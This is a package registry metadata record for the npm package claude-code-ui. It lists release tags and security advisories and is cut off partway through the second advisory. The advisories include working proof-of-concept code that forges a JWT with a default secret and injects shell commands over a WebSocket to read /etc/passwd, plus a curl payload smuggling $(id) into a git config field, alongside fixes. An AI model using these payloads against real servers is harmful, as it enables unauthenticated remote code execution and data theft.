0eeea0ad8e3021c98f3969","kind":"tag","published_at":"2025-10-31T08:39:40.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.10.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.10.0/manifests"},{"name":"v1.9.1","sha":"d9eef6dcfef4a682ea621508aeafdd7c5acd5f79","kind":"tag","published_at":"2025-10-30T14:19:15.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.9.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.9.1/manifests"},{"name":"v1.9.0","sha":"9eb0be0f2b764b6ad820fcd4ce4e06ce8d48efe9","kind":"tag","published_at":"2025-10-30T14:06:19.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.9.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.9.0/manifests"},{"name":"v1.8.12","sha":"a100648ccbaa4976d09629496f8e97b95075afbf","kind":"tag","published_at":"2025-10-08T04:37:46.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.12","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.12/manifests"},{"name":"v1.8.10","sha":"533d5891325c9b9b7e48d5b1332096e2b69ace44","kind":"tag","published_at":"2025-09-23T08:54:35.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.10","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.10/manifests"},{"name":"v1.8.9","sha":"b853e8cda19410e9bfd5d24ac90e33cabedc7bbf","kind":"tag","published_at":"2025-09-23T08:51:46.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.9","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.9/manifests"},{"name":"v1.8.8","sha":"cbb18fb0106b21be2c6591edd99cfead31c22094","kind":"tag","published_at":"2025-09-23T08:38:54.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.8","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.8/manifests"},{"name":"v1.8.6","sha":"d7ed1de1cb463b19c8229f448837d649d8dabad9","kind":"tag","published_at":"2025-09-23T08:17:03.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.6","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.6/manifests"},{"name":"v1.8.5","sha":"c8bcad71e7f14cd02da14d62c11f1f7d0732081c","kind":"tag","published_at":"2025-09-23T00:16:13.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.5","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.5/manifests"},{"name":"v1.8.4","sha":"680d8f6fb10f8f602b1005b3306131a9bce20ea3","kind":"tag","published_at":"2025-09-23T00:09:11.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.4","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.4/manifests"},{"name":"v1.8.3","sha":"1820f3bfa891ed50c1d65b5eac72579564bb9ea6","kind":"tag","published_at":"2025-09-22T23:40:59.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.3","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.3/manifests"},{"name":"v1.8.2","sha":"f4becdc2183c3dc75356e717d33173eb15144aa4","kind":"tag","published_at":"2025-09-22T23:24:24.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.2","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.2/manifests"},{"name":"v1.8.1","sha":"34583a7c7b1f005e1730353f00107524c2b4e4cc","kind":"commit","published_at":"2025-09-15T15:38:42.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.1/manifests"},{"name":"v1.8.0","sha":"4401498f3ff63b48d3299f052b76ed584ce05f96","kind":"commit","published_at":"2025-08-28T09:12:47.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.8.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.8.0/manifests"},{"name":"V1.7.0","sha":"2603b8aaf16c728ddb579acf3aae5ce5c001dd76","kind":"commit","published_at":"2025-08-12T12:07:33.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/V1.7.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/V1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@V1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/V1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/V1.7.0/manifests"},{"name":"v1.6.1","sha":"ece52adac26a4005c68627850a224e7566356672","kind":"commit","published_at":"2025-08-11T16:27:13.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.6.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"b24f5e421fbb196c092e802f3384577b13730db0","kind":"commit","published_at":"2025-08-11T11:22:21.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.6.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"ba077fdf62d32fcc3828ae5e8edeeab73357dcbb","kind":"commit","published_at":"2025-07-13T15:30:59.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.5.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"2d63b18c696ce2aa62318c55af3c50180804f625","kind":"commit","published_at":"2025-07-13T13:22:34.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.4.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.4.0/manifests"},{"name":"v1.3.0","sha":"046f270a1103c2f6bb69312c7f47526f7c554b86","kind":"commit","published_at":"2025-07-12T19:34:56.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.3.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"634e00264e139b095d8c6a974d3622c0d0066d2c","kind":"commit","published_at":"2025-07-11T10:43:10.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.2.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.2.0/manifests"},{"name":"v1.1.4","sha":"d8bc6348d5498990f05da6f879441fc36ab5acaa","kind":"commit","published_at":"2025-07-10T18:52:08.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.1.4","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.1.4/manifests"},{"name":"v1.1.3","sha":"bca97a5284953cd2fc65761f55b8393aa3442567","kind":"commit","published_at":"2025-07-08T15:14:12.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.1.3","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.1.3/manifests"},{"name":"v1.1.2","sha":"c5e3bd063358562aac929d23d4598f3141087cc7","kind":"commit","published_at":"2025-07-08T14:04:23.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.1.2","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"fca741ab3f830bc94f4ea296d52c57a59e4bb40c","kind":"commit","published_at":"2025-07-08T12:53:15.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.1.1","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"4c041dbb34d913007d9d0b04658697cc26d82b0c","kind":"commit","published_at":"2025-07-08T08:00:39.000Z","download_url":"https://codeload.github.com/siteboon/claudecodeui/tar.gz/v1.1.0","html_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/siteboon/claudecodeui@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/tags/v1.1.0/manifests"}]},"repo_metadata_updated_at":"2026-04-05T19:11:54.808Z","dependent_packages_count":0,"downloads":12831,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":23.806273381518434,"dependent_packages_count":34.34087171930724,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":29.073572550412834},"purl":"pkg:npm/%40siteboon/claude-code-ui","advisories":[{"uuid":"GSA_kwCzR0hTQS1ndjhmLXdwbTItbTV3cs4ABTcu","url":"https://github.com/advisories/GHSA-gv8f-wpm2-m5wr","title":"@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection","description":"# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection\nDownload: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)\n\n##  Submission Info\n\n| Field | Value |\n|-------|-------|\n| **Package** | `@siteboon/claude-code-ui` |\n| **Ecosystem** | npm |\n| **Affected versions** | `\u003c= 1.24.0` (latest) |\n| **Severity** | Critical |\n| **CVSS Score** | 9.8 |\n| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-1188, CWE-287, CWE-78 |\n| **Reported** | 2026-03-02 |\n| **Researcher** | Ethan-Yang (OPCIA) |\n\n---\n\n## Summary\n\nThree chained vulnerabilities allow **unauthenticated remote code execution** on any\nclaudecodeui instance running with default configuration. No account, credentials, or\nprior access is required.\n\nThe root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell\nhandler. Authentication is bypassed by combining an insecure default JWT secret\n**(CWE-1188)** with a WebSocket authentication function that skips database user\nvalidation **(CWE-287)**.\n\n---\n\n## Vulnerability Details\n\n### 1. Insecure Default JWT Secret — `CWE-1188`\n\n**File**: `server/middleware/auth.js`, line 6\n\n```javascript\nconst JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';\n```\n\nThe server uses an environment variable for `JWT_SECRET`, but falls back to a\nwell-known default value when the variable is not set. Critically, `JWT_SECRET` is\n**not included in `.env.example`**, so the majority of users deploy without setting it,\nleaving the fallback value in effect.\n\nSince this default string is published verbatim in the public source code, any attacker\ncan use it to sign arbitrary JWT tokens.\n\n---\n\n### 2. WebSocket Authentication Skips Database Validation — `CWE-287`\n\n**File**: `server/middleware/auth.js`, lines 82–108\n\n`authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check\nwhether the `userId` in the payload actually exists in the database — unlike\n`authenticateToken()` which is used for REST endpoints and does perform this check:\n\n```javascript\n// authenticateWebSocket() — VULNERABLE\nconst decoded = jwt.verify(token, JWT_SECRET);\nreturn decoded;  // ← userId never verified against DB\n\n// authenticateToken() — CORRECT (REST endpoints)\nconst decoded = jwt.verify(token, JWT_SECRET);\nconst user = userDb.getUserById(decoded.userId);  // ← DB check present\nif (!user) return res.status(401)...\n```\n\nA forged token with a non-existent `userId` passes WebSocket authentication,\nbypassing access control entirely.\n\n---\n\n### 3. OS Command Injection via WebSocket Shell — `CWE-78`\n\n**File**: `server/index.js`, line 1179\n\n```javascript\n\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`;\n```\n\nBoth `projectPath` and `initialCommand` are taken directly from the WebSocket message\npayload and interpolated into a bash command string without any sanitization,\nenabling arbitrary OS command execution.\n\nA secondary injection vector exists at line 1257 via unsanitized `sessionId`:\n\n```javascript\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 claude --resume ${sessionId} || claude`;\n```\n\n---\n\n## Proof of Concept\n\n**Requirements**: Node.js, `jsonwebtoken`, `ws`\n\n```javascript\nimport jwt from 'jsonwebtoken';\nimport WebSocket from 'ws';\n\n// Step 1: Sign a token with the publicly known default secret\nconst token = jwt.sign(\n  { userId: 1337, username: 'attacker' },\n  'claude-ui-dev-secret-change-in-production'\n);\n\n// Step 2: Connect to /shell WebSocket — auth passes because\n//         authenticateWebSocket() does not verify userId in DB\nconst ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);\n\nws.on('open', () =\u003e {\n  // Step 3: initialCommand is injected directly into bash\n  ws.send(JSON.stringify({\n    type: 'init',\n    projectPath: '/tmp',\n    initialCommand: 'id \u0026\u0026 cat /etc/passwd',\n    isPlainShell: true,\n    hasSession: false\n  }));\n});\n\nws.on('message', (data) =\u003e {\n  const msg = JSON.parse(data);\n  if (msg.type === 'output') process.stdout.write(msg.data);\n});\n```\n\n**Actual output observed during testing:**\n```\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\nubuntu\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n```\n\n### Secondary vector — `projectPath` double-quote escape injection\n\n```javascript\nws.send(JSON.stringify({\n  type: 'init',\n  projectPath: '\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # ',\n  provider: 'claude',\n  hasSession: false\n}));\n// Server executes: cd \"\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \" \u0026\u0026 claude\n// Output: uid=1001... / pwned\n```\n\n---\n\n## Additional Findings\n\n| CWE | Location | Description |\n|-----|----------|-------------|\n| CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication — first caller becomes admin |\n| CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` |\n| CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` — tokens never expire |\n\n---\n\n## Impact\n\nAny claudecodeui instance accessible over the network where `JWT_SECRET` is not\nexplicitly configured (the default case, as it is absent from `.env.example`) is\nvulnerable to:\n\n- **Full OS command execution** as the server process user\n- **File system read/write** access\n- **Credential theft** (SSH keys, `.env` files, API keys stored on the host)\n- **Lateral movement** within the host network\n\nThe attack requires **zero authentication** and succeeds immediately after\ndefault installation.\n\n---\n\n## Remediation\n\n### Fix 1 — Enforce explicit JWT_SECRET; remove insecure default\n```javascript\n// server/middleware/auth.js\nconst JWT_SECRET = process.env.JWT_SECRET;\nif (!JWT_SECRET) {\n  console.error('[FATAL] JWT_SECRET environment variable must be set');\n  process.exit(1);\n}\n```\nAlso add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value.\n\n### Fix 2 — Add DB user existence check in WebSocket authentication\n```javascript\nconst authenticateWebSocket = (token) =\u003e {\n  if (!token) return null;\n  try {\n    const decoded = jwt.verify(token, JWT_SECRET);\n    const user = userDb.getUserById(decoded.userId); // ← add\n    if (!user) return null;                          // ← add\n    return user;\n  } catch (error) {\n    return null;\n  }\n};\n```\n\n### Fix 3 — Replace shell string interpolation with spawn argument array\n```javascript\n// Instead of:\nconst shellProcess = pty.spawn('bash', ['-c', `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`], ...);\n\n// Use:\nconst shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {\n  cwd: projectPath  // pass path as cwd, not shell string\n});\n```\n\n### Fix 4 — Additional hardening\n- Add `expiresIn: '24h'` to `generateToken()`\n- Restrict CORS to specific trusted origins\n- Rate-limit and restrict `/api/auth/register` to localhost on initial setup\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-02 | Vulnerabilities discovered and verified via PoC |\n| 2026-03-02 | Private advisory submitted to maintainer |\n| 2026-06-01 | Public disclosure (90-day deadline) |\n\n---\n\n## Researcher\n\n**Ethan-Yang** — OPCIA","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-11T00:37:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr","https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26","https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0","https://nvd.nist.gov/vuln/detail/CVE-2026-31975","https://github.com/advisories/GHSA-gv8f-wpm2-m5wr"],"source_kind":"github","identifiers":["GHSA-gv8f-wpm2-m5wr","CVE-2026-31975"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-11T01:00:13.119Z","updated_at":"2026-04-05T18:00:40.664Z","epss_percentage":0.0049,"epss_percentile":0.65526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndjhmLXdwbTItbTV3cs4ABTcu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ndjhmLXdwbTItbTV3cs4ABTcu","packages":[{"ecosystem":"npm","package_name":"@siteboon/claude-code-ui","versions":[{"first_patched_version":"1.25.0","vulnerable_version_range":"\u003c= 1.24.0"}],"purl":"pkg:npm/%40siteboon%2Fclaude-code-ui"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndjhmLXdwbTItbTV3cs4ABTcu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03ZnY0LWZtbWMtODZnMs4ABTbs","url":"https://github.com/advisories/GHSA-7fv4-fmmc-86g2","title":"@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes","description":"# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, '\\\\\"')}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` — backtick execution\n- `$(malicious_command)` — subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}'\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\n\n// AFTER (safe):\nawait spawnAsync('git', ['config', '--global', 'user.name', gitName]);\nawait spawnAsync('git', ['config', '--global', 'user.email', 